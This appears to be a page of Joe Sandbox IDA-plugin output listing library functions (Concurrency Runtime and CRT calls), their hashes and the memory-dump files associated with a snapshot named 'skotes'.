Associated: 00000006.00000002.2979526112.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979623514.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979728075.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979818464.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979915094.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980008821.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980111926.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980665830.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980796943.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980939158.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981125789.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981254982.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981448988.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981597675.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981781764.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981910800.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: f15ce922f1593445118d5d6aa3fb1cbfd418e1ff1a913a1b58a6ad53182e9bec
Instruction ID: cf27ad1f4c7ef8ff87dbf64d89869df1c8582afda22464de26d81443bf4fcf61
Opcode Fuzzy Hash: f15ce922f1593445118d5d6aa3fb1cbfd418e1ff1a913a1b58a6ad53182e9bec
Instruction Fuzzy Hash: 5251C272600216AFEB259F64DC81FFB3BE9EF85750F1506A9FD14A7152EBB0DC1086A0

Function 00B9E8DD Relevance: 7.6, APIs: 5, Instructions: 117COMMON

Download Yara Rule

APIs

Concurrency::location::_Assign.LIBCMT ref: 00B9E91E
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 00B9E926
Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00B9E950
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 00B9E959
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 00B9E9DC

Memory Dump Source

Source File: 00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2973183378.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973332284.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973940335.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974116469.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974330158.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974509112.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974706941.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975510008.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975673102.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975858151.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976010191.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976372810.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976588375.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976731520.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976855106.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977036956.0000000000D91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977145651.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977257068.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977385733.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977565674.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978449942.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978640930.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978752510.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978864602.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978946296.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979012965.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979113130.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979526112.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979623514.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979728075.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979818464.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979915094.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980008821.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980111926.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980665830.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980796943.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980939158.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981125789.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981254982.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981448988.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981597675.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981781764.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981910800.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Context$Base::$GroupScheduleSegment$AssignAvailableConcurrency::location::_EventInternalMakeProcessor::ReleaseRunnableTraceVirtual
String ID:
API String ID: 512098550-0
Opcode ID: da1082ad039060290408db7c737df252d54cc7f13fa7592d646c882ae61287c4
Instruction ID: 382410158a12ccc6d6691e5de92853d341aa252a98000894fb82804ec3501ece
Opcode Fuzzy Hash: da1082ad039060290408db7c737df252d54cc7f13fa7592d646c882ae61287c4
Instruction Fuzzy Hash: 55412D75A00619EFCF09EF64C554A6DBBF6FF48310F0481A9E956AB391CB74AE01CB81

Function 00B8ECE6 Relevance: 7.6, APIs: 5, Instructions: 101COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00B8ECED
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 00B8ED17

Part of subcall function 00B8F3DD: Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 00B8F3FA

__alloca_probe_16.LIBCMT ref: 00B8ED53
Concurrency::details::EventWaitNode::Satisfy.LIBCONCRT ref: 00B8ED94
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 00B8EDC6

Memory Dump Source

Source File: 00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2973183378.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973332284.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973940335.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974116469.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974330158.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974509112.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974706941.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975510008.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975673102.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975858151.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976010191.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976372810.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976588375.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976731520.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976855106.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977036956.0000000000D91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977145651.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977257068.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977385733.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977565674.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978449942.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978640930.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978752510.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978864602.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978946296.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979012965.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979113130.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979526112.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979623514.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979728075.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979818464.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979915094.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980008821.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980111926.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980665830.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980796943.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980939158.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981125789.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981254982.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981448988.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981597675.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981781764.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981910800.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Lock::_Scoped_lock$Acquire_lockConcurrency::critical_section::_Concurrency::details::EventH_prolog3_Node::ReaderReentrantSatisfyScoped_lock::_Scoped_lock::~_WaitWriter__alloca_probe_16
String ID:
API String ID: 2568206803-0
Opcode ID: e709dcca1782d47da503e5f93633bda7ab58149edffe390dfca5d69972ea7523
Instruction ID: 2283a006b3af9f9c512ac6267e96e2ca3cb8000cf82089c191532427d07cd649
Opcode Fuzzy Hash: e709dcca1782d47da503e5f93633bda7ab58149edffe390dfca5d69972ea7523
Instruction Fuzzy Hash: AD317E71A001168BCB15EFA8C8415ADB7F4EF49310B6440BAE865F73A1DB74DE06CBA1

Function 00B9D2B9 Relevance: 7.6, APIs: 5, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ReferenceCountedQuickBitSet::InterlockedSet.LIBCONCRT ref: 00B9D344
ListArray.LIBCONCRT ref: 00B9D367
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 00B9D370
ListArray.LIBCONCRT ref: 00B9D3A8
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 00B9D3B3

Memory Dump Source

Source File: 00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2973183378.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973332284.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973940335.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974116469.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974330158.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974509112.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974706941.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975510008.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975673102.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975858151.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976010191.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976372810.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976588375.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976731520.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976855106.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977036956.0000000000D91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977145651.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977257068.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977385733.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977565674.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978449942.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978640930.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978752510.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978864602.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978946296.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979012965.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979113130.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979526112.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979623514.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979728075.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979818464.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979915094.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980008821.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980111926.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980665830.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980796943.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980939158.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981125789.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981254982.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981448988.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981597675.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981781764.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981910800.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$ArrayListVirtual$ActiveAvailableBase::CountedInterlockedMakeProcessorProcessor::QuickReferenceSchedulerSet::
String ID:
API String ID: 4212520697-0
Opcode ID: 0eafe2588eb36363e597e13b74526c3f154d00e2da32f5905d9d740176458b48
Instruction ID: de426743a4a66047b1690383381887ab02a7212d34661a67fb1774834b1ca483
Opcode Fuzzy Hash: 0eafe2588eb36363e597e13b74526c3f154d00e2da32f5905d9d740176458b48
Instruction Fuzzy Hash: A631AE75704210EFCF05EB65C885BADB7E6EF89300F1541A9E80A9F392CB74AD41CB92

Function 00B986C9 Relevance: 7.6, APIs: 5, Instructions: 88COMMON

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 00B986EE

Part of subcall function 00B8EAD0: _SpinWait.LIBCONCRT ref: 00B8EAE8

Concurrency::details::ContextBase::ClearAliasTable.LIBCONCRT ref: 00B98702
Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00B98734
List.LIBCMT ref: 00B987B7
List.LIBCMT ref: 00B987C6

Memory Dump Source

Source File: 00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2973183378.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973332284.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973940335.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974116469.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974330158.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974509112.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974706941.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975510008.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975673102.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975858151.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976010191.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976372810.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976588375.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976731520.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976855106.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977036956.0000000000D91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977145651.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977257068.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977385733.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977565674.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978449942.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978640930.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978752510.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978864602.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978946296.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979012965.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979113130.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979526112.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979623514.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979728075.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979818464.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979915094.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980008821.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980111926.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980665830.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980796943.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980939158.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981125789.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981254982.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981448988.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981597675.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981781764.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981910800.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: ListSpinWait$AcquireAliasBase::ClearConcurrency::details::Concurrency::details::_ContextLock::_ReaderTableWriteWriter
String ID:
API String ID: 3281396844-0
Opcode ID: 014186bf68b73918e03dcc2cf1837e7f72b7d01d507e0cbd2c71e4f68232d36e
Instruction ID: 61d2fc54e236d31a789ea587565a80d6f60f5ad09c65c9acc326bfe4f3fad2ab
Opcode Fuzzy Hash: 014186bf68b73918e03dcc2cf1837e7f72b7d01d507e0cbd2c71e4f68232d36e
Instruction Fuzzy Hash: 50315532905256DFCF14EFA4C5816EDBBF1BF06318F2400BAD4016B662CB35AD04CB94

Function 00BA182A Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00BA18A4
Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 00BA18EB

Strings

pContext, xrefs: 00BA189C

Memory Dump Source

Source File: 00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2973183378.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973332284.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973940335.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974116469.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974330158.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974509112.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974706941.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975510008.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975673102.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975858151.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976010191.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976372810.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976588375.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976731520.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976855106.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977036956.0000000000D91000.00000080.00000001.01000000.00000007.sdmpDownload File
